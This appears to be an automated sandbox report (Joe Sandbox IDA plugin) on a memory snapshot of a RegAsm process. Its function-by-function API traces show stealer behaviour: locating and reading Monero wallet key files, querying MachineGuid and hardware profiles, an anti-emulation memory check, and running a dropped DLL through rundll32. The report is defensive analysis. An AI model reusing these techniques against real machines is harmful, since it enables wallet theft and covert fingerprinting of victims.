Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: OpenProcess_memmove_memset
String ID: N0ZWFt
API String ID: 2647191932-431618156
Opcode ID: 09c5f755c00d743d5ce0f62924fbf6a8c82eec07873bd999d867cc2c672c8a0a
Instruction ID: 0f266f934928723e0fcf9488acc14ad5b4b0daacd8b66a1f41e8e740426da83c
Opcode Fuzzy Hash: 09c5f755c00d743d5ce0f62924fbf6a8c82eec07873bd999d867cc2c672c8a0a
Instruction Fuzzy Hash: E45191B1D0022C9FDB309F54DC85BDDB7B9AB44308F0000FAA609B7692D6796E89CF59

Function 00407FAC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
LocalFree.KERNEL32(0040ECBC,?,?,?,?,0040E756,?,?,?), ref: 0040802B
CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Strings

V@, xrefs: 00408042

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID: V@
API String ID: 2311089104-383300688
Opcode ID: d63a5464314b69c61ac75c0db440d02a9ca78bdcd81ff691c89ea163c61aca46
Instruction ID: 10e4ee5bcd24e5c00d10c93a2cb3902743b6293cd5753d2e79081f11b23a5eb1
Opcode Fuzzy Hash: d63a5464314b69c61ac75c0db440d02a9ca78bdcd81ff691c89ea163c61aca46
Instruction Fuzzy Hash: 47116070900204EFDF25DF64DD88EAF7BB9EB48741F20056AF481F2290EB769A85DB11

Function 00401AB8 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 129stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00401ADC

Part of subcall function 00401A51: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00401A65
Part of subcall function 00401A51: HeapAlloc.KERNEL32(00000000), ref: 00401A6C
Part of subcall function 00401A51: RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00401AE9), ref: 00401A89
Part of subcall function 00401A51: RegQueryValueExA.ADVAPI32(00401AE9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401AA4

lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00401AF1
lstrlenA.KERNEL32(?), ref: 00401AFE
lstrcatA.KERNEL32(?,.keys), ref: 00401B19

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,004366FB,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00416E60: CreateThread.KERNEL32(00000000,00000000,00416D8F,?,00000000,00000000), ref: 00416EFF
Part of subcall function 00416E60: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F07

Strings

\Monero\wallet.keys, xrefs: 00401B2F
.keys, xrefs: 00401B0D

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$File$AllocCreateHeaplstrlen$CloseHandleLocalObjectOpenProcessQueryReadSingleSizeSystemThreadTimeValueWait_memset
String ID: .keys$\Monero\wallet.keys
API String ID: 3529164666-3586502688
Opcode ID: d3b2e6a516c7fffd5d3c5b216be02d4c1431b600bcb16b660a5902b4e9d0ee6c
Instruction ID: 69b81150e18d91f1f1e54b8cdea51100ef8117911954c29cb3d5610a51c1c03f
Opcode Fuzzy Hash: d3b2e6a516c7fffd5d3c5b216be02d4c1431b600bcb16b660a5902b4e9d0ee6c
Instruction Fuzzy Hash: FA5151B1E9012D9BCF11EB25DD466DC7379AF04308F5054BAB60873191DA78AFC98F98

Function 00415DC0 Relevance: 10.6, APIs: 7, Instructions: 120stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,?,00000000,?), ref: 00415E4F

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000), ref: 00415E6C
lstrcatA.KERNEL32(?,?), ref: 00415E8B
lstrcatA.KERNEL32(?,?), ref: 00415E9F
lstrcatA.KERNEL32(?), ref: 00415EB2
lstrcatA.KERNEL32(?,?), ref: 00415EC6
lstrcatA.KERNEL32(?), ref: 00415ED9

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 00415AD4: GetProcessHeap.KERNEL32(00000000,0098967F,?,?,?), ref: 00415AF9
Part of subcall function 00415AD4: HeapAlloc.KERNEL32(00000000), ref: 00415B00
Part of subcall function 00415AD4: wsprintfA.USER32 ref: 00415B19
Part of subcall function 00415AD4: FindFirstFileA.KERNEL32(?,?), ref: 00415B30
Part of subcall function 00415AD4: StrCmpCA.SHLWAPI(?,00436A90), ref: 00415B51
Part of subcall function 00415AD4: StrCmpCA.SHLWAPI(?,00436A94), ref: 00415B6B
Part of subcall function 00415AD4: wsprintfA.USER32 ref: 00415B92

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeapwsprintf$AllocAttributesFindFirstFolderPathProcesslstrcpy
String ID:
API String ID: 1968765330-0
Opcode ID: dd9077d2ece8f0fa62e47e77babbbc2b8a1a962058fa4acaeb397200ae06d387
Instruction ID: e94e5e549771f60c9880f302011d3a12e822f5a94e981cf4ded127be2f8bd2c2
Opcode Fuzzy Hash: dd9077d2ece8f0fa62e47e77babbbc2b8a1a962058fa4acaeb397200ae06d387
Instruction Fuzzy Hash: 4E512CB1A0011C9BCF54DB64CC85ADDB7B9BB4C315F4044EAF609E3250EA35ABC98F58

Function 00415638 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 107registrystringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041566D
RegOpenKeyExA.KERNEL32(80000001,00000000,00020119,?,?,00000000,?), ref: 0041568D
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,000000FF), ref: 004156B3
lstrcatA.KERNEL32(?,?), ref: 004156EE
lstrcatA.KERNEL32(?), ref: 00415701

Strings

yA, xrefs: 004157C7

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$OpenQueryValue_memset
String ID: yA
API String ID: 3357907479-454502181
Opcode ID: 494fea68686eff91aff3f079c2517486a256e6cd59fad59ecf56d21876959426
Instruction ID: 605e856f38cca70513c2d65eec64d52423aa7d5069a1eccea3626d389ebe3aa6
Opcode Fuzzy Hash: 494fea68686eff91aff3f079c2517486a256e6cd59fad59ecf56d21876959426
Instruction Fuzzy Hash: 5141AE7184011D9FDF24EF60DC86AE8777ABB18309F1004AAF50AA31A1DE759FC59F54

Function 6C0AC930 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C0AC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C0AC969
GetSystemInfo.KERNEL32(?), ref: 6C0AC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C0AC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C0AC9E2

Strings

GRy/, xrefs: 6C0AC939

Memory Dump Source

Source File: 00000003.00000002.3333512604.000000006C091000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C090000, based on PE: true

Associated: 00000003.00000002.3328603357.000000006C090000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3338315622.000000006C10D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3339981114.000000006C11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3341297333.000000006C122000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c090000_RegAsm.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID: GRy/
API String ID: 4191843772-1469579577
Opcode ID: 7a87667543131b6822473b47ad9449e85a4dacc0dec20f22a980bd586c11b9cd
Instruction ID: 98e9a940971da46dd2a8a60f3b8bb194c714d8754ae9cba4fd8f101b71878c51
Opcode Fuzzy Hash: 7a87667543131b6822473b47ad9449e85a4dacc0dec20f22a980bd586c11b9cd
Instruction Fuzzy Hash: 32212971711204ABDB04AAE8CC89BAE73F9AB4A344F51011AF907A7F41DB319C048B95

Function 004115D4 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 48registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00411607
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,?), ref: 00411626
RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF,?,?,?), ref: 0041164B
CharToOemA.USER32(?,?), ref: 0041166B

Strings

SOFTWARE\Microsoft\Cryptography, xrefs: 0041161C
MachineGuid, xrefs: 00411640

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CharOpenQueryValue_memset
String ID: MachineGuid$SOFTWARE\Microsoft\Cryptography
API String ID: 2355623204-1211650757
Opcode ID: cfe955c007fe244cd9e40eb48522d09ab7bd534578616772fc971eb02966dfdb
Instruction ID: 7b55e620f76560f8441474d4d828533cec33cdf81e9bd4d8fbff30fbf98a8e32
Opcode Fuzzy Hash: cfe955c007fe244cd9e40eb48522d09ab7bd534578616772fc971eb02966dfdb
Instruction Fuzzy Hash: B81161B594031DAFDB10DF50DC89EEBB7BCEB14309F0000E6A619E2052D6759F888F10

Function 00401A51 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00401A65
HeapAlloc.KERNEL32(00000000), ref: 00401A6C
RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00401AE9), ref: 00401A89
RegQueryValueExA.ADVAPI32(00401AE9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401AA4

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00401A7F
wallet_path, xrefs: 00401A9C

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: SOFTWARE\monero-project\monero-core$wallet_path
API String ID: 3676486918-4244082812
Opcode ID: 4f2045b7203c4bd81c1c5592cd170f4ee3ab197098c58cfc6bfda79131d70d0f
Instruction ID: 6a723b0bf30ba4ddc589307fb52e6805e2d9d1b98ac7b5fca3d522df86ed7434
Opcode Fuzzy Hash: 4f2045b7203c4bd81c1c5592cd170f4ee3ab197098c58cfc6bfda79131d70d0f
Instruction Fuzzy Hash: 97F05475780304FFFF148B91DC0AFAE7A7DDB44B1AF2410A5F601F51D0E6B65A509A24

Function 00411757 Relevance: 9.1, APIs: 6, Instructions: 58commemoryCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0041175E
CoCreateInstance.OLE32(004331B0,00000000,00000001,0043AF58,?,00000018,00411901,?), ref: 00411781
SysAllocString.OLEAUT32(?), ref: 0041178E
_wtoi64.MSVCRT ref: 004117C1
SysFreeString.OLEAUT32(?), ref: 004117DA
SysFreeString.OLEAUT32(00000000), ref: 004117E1

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: String$Free$AllocCreateH_prolog3_catchInstance_wtoi64
String ID:
API String ID: 181426013-0
Opcode ID: ba825d6510256d8c6f00f1fb23df38d5c6cea4aa85adbbd132b5b9f946f2c1f7
Instruction ID: aa2e3685a72b09a3fb2dcb87204522bcdc6d732c81a7608aa5267b05385a158d
Opcode Fuzzy Hash: ba825d6510256d8c6f00f1fb23df38d5c6cea4aa85adbbd132b5b9f946f2c1f7
Instruction Fuzzy Hash: 59115E70A0424ADFCF019FA4DC999EEBBB6AF48300F54417EF215E72A1CB394945CB68

Function 004010F0 Relevance: 9.1, APIs: 6, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,001E5D70,00003000,00000004), ref: 004010AA
_memset.LIBCMT ref: 004010D0
VirtualFree.KERNEL32(00000000,001E5D70,00008000), ref: 004010E6
GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,00418495), ref: 00401100
VirtualAllocExNuma.KERNEL32(00000000), ref: 00401107
ExitProcess.KERNEL32 ref: 00401112

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Virtual$AllocProcess$CurrentExitFreeNuma_memset
String ID:
API String ID: 1859398019-0
Opcode ID: 0cd85bc549366c6980d605ad034fc7e5578819b96bc3e246f75ebc10e016ef94
Instruction ID: de48042f61174206f28540501a56dab48ed1071ae206a1b474cffe0304ee8063
Opcode Fuzzy Hash: 0cd85bc549366c6980d605ad034fc7e5578819b96bc3e246f75ebc10e016ef94
Instruction Fuzzy Hash: AEF0C27238122077F22426763C6EFAB1A6C9B42F56F205035F708FB2D1D669980496BC

Function 0041292B Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,004366FB,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

ShellExecuteEx.SHELL32(?), ref: 00412B4D

Strings

"" , xrefs: 004129FB
C:\ProgramData\, xrefs: 0041295E
.dll, xrefs: 004129B6
C:\Windows\system32\rundll32.exe, xrefs: 00412AAC

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: "" $.dll$C:\ProgramData\$C:\Windows\system32\rundll32.exe
API String ID: 2215929589-2108736111
Opcode ID: 6047c5b83342549980db005652ed89a7f88da1b6fb60af78e15224d582cbabee
Instruction ID: 9ae2cf2ae800b8bb33ad062817472c1473339d55641b58f4140958fd0a63e42d
Opcode Fuzzy Hash: 6047c5b83342549980db005652ed89a7f88da1b6fb60af78e15224d582cbabee
Instruction Fuzzy Hash: 7C71CD71E40119ABCF10FFA6DD466CDB7B5AF04308F51406BF510B71A1DBB86E8A8B98

Function 00411684 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004116CE

Part of subcall function 004123D5: malloc.MSVCRT ref: 004123DA
Part of subcall function 004123D5: strncpy.MSVCRT ref: 004123EB

lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
lstrcatA.KERNEL32(?,00436EC4,?,?,?,?,?), ref: 00411713
GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Strings

Unknown, xrefs: 0041173C

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

